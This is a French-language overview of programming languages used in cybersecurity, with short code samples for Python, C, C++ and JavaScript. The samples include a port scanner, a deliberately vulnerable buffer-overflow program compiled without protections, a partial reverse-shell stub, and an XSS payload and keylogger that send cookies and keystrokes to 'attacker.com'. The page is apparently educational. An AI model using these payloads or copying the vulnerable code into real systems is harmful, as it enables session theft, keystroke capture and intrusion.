Des langages de bas niveau à haut niveau — clique sur un langage pour voir sa fiche complète avec exemples de code.
Python est le langage le plus populaire en cybersécurité. Sa syntaxe claire le rend accessible, et son écosystème de bibliothèques couvre tout : du scripting réseau à l'IA en passant par l'exploitation.
import socket
def scan_port(host, port):
s = socket.socket()
s.settimeout(0.5)
try:
s.connect((host, port))
print(f"[+] Port {port} ouvert")
s.close()
except:
pass
host = "192.168.1.1"
for port in range(1, 1025):
scan_port(host, port)
C est le langage fondateur de la plupart des OS (Linux, Windows). Comprendre C est indispensable pour le reverse engineering, l'exploit dev et l'analyse de malwares.
#include <stdio.h>
#include <string.h>
void vuln(char *input) {
char buffer[64];
// DANGER : pas de vérification de taille !
strcpy(buffer, input);
printf("Input: %s\n", buffer);
}
int main(int argc, char *argv[]) {
vuln(argv[1]);
return 0;
}
# Compiler sans protections (pour lab)
gcc -o vuln vuln.c -fno-stack-protector -z execstack
# Désassembler avec objdump
objdump -d vuln | grep -A20 "<vuln>"
C++ étend C avec la programmation orientée objet, les templates et la STL. Utilisé pour les outils de sécurité performants, les moteurs de jeux et le développement de malwares avancés.
#include <iostream>
#include <sys/socket.h>
#include <arpa/inet.h>
// Exemple éducatif uniquement
// Ne jamais utiliser sans autorisation
int main() {
// Connexion TCP
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(4444);
inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr);
connect(sock, (struct sockaddr*)&addr, sizeof(addr));
// ... redirection stdin/stdout
return 0;
}
JavaScript est le langage du web. Il tourne dans chaque navigateur et côté serveur avec Node.js. C'est aussi le principal vecteur des attaques XSS.
// Payload XSS injecté dans un champ commentaire
<script>
fetch('https://attacker.com/steal?c=' +
encodeURIComponent(document.cookie));
</script>
// Keylogger JS basique (éducatif)
document.addEventListener('keydown', function(e) {
fetch('https://attacker.com/key?k=' + e.key);
});
Rust élimine les bugs mémoire à la compilation grâce à son système d'ownership unique. Aucun garbage collector, sécurité mémoire garantie. De plus en plus utilisé pour les outils de sécurité modernes.
Bash est le shell par défaut sur Linux/macOS. Indispensable pour tout professionnel de la sécurité, de l'administration système à la post-exploitation.
Go est le langage de Google, conçu pour la simplicité et la concurrence. De nombreux outils de sécurité modernes sont écrits en Go : Nuclei, gobuster, subfinder, etc.
SQL (Structured Query Language) est le langage des bases de données relationnelles. C'est aussi la cible principale des injections SQL, l'une des vulnérabilités web les plus répandues.
L'assembly est la représentation textuelle du code machine. Indispensable pour comprendre ce que fait réellement un programme, analyser des malwares et développer des exploits.
PowerShell est le shell et langage de script Windows. Il est massivement utilisé en pentest Windows et en post-exploitation car il est présent nativement sur tous les systèmes modernes.
PHP propulse encore ~80% du web (WordPress, Joomla, Drupal). C'est souvent une source de vulnérabilités car beaucoup d'anciens codes PHP sont mal sécurisés.
Java est massivement utilisé en entreprise. En sécurité, on le retrouve dans l'analyse d'applications Android et dans les vulnérabilités de désérialisation (ex: Log4Shell).
Ruby est le langage de Metasploit Framework, l'outil de pentest le plus utilisé au monde. Apprendre Ruby permet de créer ses propres modules Metasploit.
Perl a longtemps été le roi des scripts réseau et du traitement de texte. On le retrouve encore dans de nombreux anciens outils de sécurité et systèmes legacy.
R est le langage de référence pour les statistiques. En sécurité, il sert à l'analyse de logs, la détection d'anomalies et la visualisation de données forensiques.
TypeScript est un superset de JavaScript avec un système de types statiques. Il réduit les bugs et améliore la sécurité du code.
Swift est le langage d'Apple pour iOS et macOS. Utile pour l'analyse de sécurité des applications Apple et le développement d'outils de sécurité sur macOS.
Kotlin est le langage officiel d'Android depuis 2019. Il remplace progressivement Java et est essentiel pour l'analyse de sécurité des applications Android modernes.
C# et .NET sont massivement utilisés dans les environnements Windows enterprise. C'est le langage de choix pour les outils de red team Windows modernes.
Lua est utilisé pour les scripts NSE de Nmap (Nmap Scripting Engine), permettant d'automatiser des tests de vulnérabilités avancés.
Scala combine la programmation fonctionnelle et orientée objet. Utilisé avec Apache Spark pour analyser de grands volumes de logs de sécurité.
Haskell est un langage fonctionnel pur avec un système de types très expressif. Utilisé pour la cryptographie formelle et la vérification de protocoles de sécurité.
Groovy est utilisé dans les pipelines Jenkins. Des misconfigurations peuvent mener à des RCE (Remote Code Execution) dans les environnements CI/CD.
HTML et CSS sont la base du web. En cybersécurité, comprendre HTML est essentiel pour créer des pages de phishing réalistes (en contexte autorisé) et comprendre les vecteurs XSS.
MATLAB est utilisé pour l'analyse cryptographique et la détection de patterns dans les signaux (radio, réseau, hardware).
VHDL et Verilog décrivent le comportement du matériel (FPGA, ASIC). Utilisés pour implémenter des algorithmes cryptographiques directement en hardware et analyser la sécurité physique.
Tcl/Expect automatise les interactions avec des interfaces interactives comme SSH, Telnet ou FTP.
Julia combine la facilité de Python avec les performances du C. Utilisé en calcul scientifique, ML et commence à apparaître en analyse de sécurité haute performance.
YARA est un langage de règles pour identifier et classifier des malwares. C'est l'outil standard des analystes malware et des équipes de threat intelligence.
Sigma est un format générique de règles de détection pour SIEM. Snort Rules est le format de l'IDS Snort. Les deux sont essentiels en Blue Team.
Lisp est l'un des plus anciens langages (1958). Sa syntaxe homoiconique (le code est des données) a influencé la théorie des langages, l'IA et la vérification formelle.
Forth est un langage à pile utilisé dans les firmwares et systèmes embarqués. Brainfuck est un langage ésotérique minimaliste — utile pour comprendre les machines de Turing.